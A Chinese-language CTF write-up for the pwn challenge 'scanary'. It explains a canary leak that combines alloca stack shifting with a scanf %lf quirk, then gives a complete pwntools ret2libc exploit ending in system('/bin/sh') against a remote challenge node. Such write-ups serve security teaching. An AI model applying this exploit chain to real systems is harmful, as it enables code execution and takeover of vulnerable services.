[NSSRound#2 Able]scanary

最后更新于 2024-11-25 558 字 预计阅读时间: 3 分钟


ELF64在playgame函数中存在栈溢出

在main函数中存在alloca函数可以控制rsp往低地址走

有栈溢出但是开了canary,问题在于怎么泄露canary,我们知道在调用函数时函数会往低地址开辟栈帧,会在低地址留下canary,断点下在0x401456执行完printf后我们查看低地址的栈空间,发现在dc28处留下了printf的canary

要想泄露必须要找到参数为rbp固定偏移的打印函数

其汇编代码为rbp-0x38,并且v2没有初始化不会覆盖canary,在playgame函数开始时的ebp低一字节要为0x38+0x28=0x60,在进入playgame函数前rsp低一字节要加上(call+push rbp)=0x10,也就是0x70.

用alloca调整rsp断点下在alloca之前,两者之间的差距为0x80

根据下面的公式可以算出v9应该输入14或者15

正好得到canary的值

在scanf中%d和%f有特性,在%d中如果输入非十进制的东西会不覆盖原有内容,%f也是如此

#include <stdio.h>
#include <stdlib.h>
int main()
{
  double v2=210.35;
  printf("输入前%lf\n",v2);
  scanf("%lf", &v2);
  printf("输入后%lf\n",v2);
}

输入字母得到

得到canary的浮点数形式,转换成hex即可

后面就是经典的ret2libc

完整exp

def double_to_hex(f):
    print(f)
    return hex(struct.unpack('<Q', struct.pack('<d', float(f)))[0])
p = remote("node4.anna.nssctf.cn",28911)
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
p.sendline(b'14')
p.recvuntil(b'goal: ')
p.sendline(b'a')
p.recvuntil(b'near')
canary = p.recvline().strip()
canary = double_to_hex(canary)
print(canary)
pop_rdi=0x0000000000401773
pop_rsi_r15=0x0000000000401771
#gdb.attach(p,"b *0x401429")
p.recvuntil(b'seed')
p.sendline(b"1")
p.recvuntil(b'goal: ')
p.sendline(b'9384')
p.recvuntil(b'seed')
p.sendline(b"1")
p.recvuntil(b"you\n")
p.sendline(b"a"*0x18+p64(int(canary,16))+p64(0)+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(0x4012F2))
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym["puts"]
print(hex(libc_base))
binsh=libc_base+next(libc.search(b"/bin/sh"))
system=libc_base+libc.sym["system"]
p.recvuntil(b'goal: ')
p.sendline(b'9384')
p.recvuntil(b'seed')
p.sendline(b"1")
p.recvuntil(b"you\n")
p.sendline(b"a"*0x18+p64(int(canary,16))+p64(0)+p64(0x401451)+p64(pop_rdi)+p64(binsh)+p64(system))
p.interactive()
此作者没有提供个人介绍。
最后更新于 2024-11-25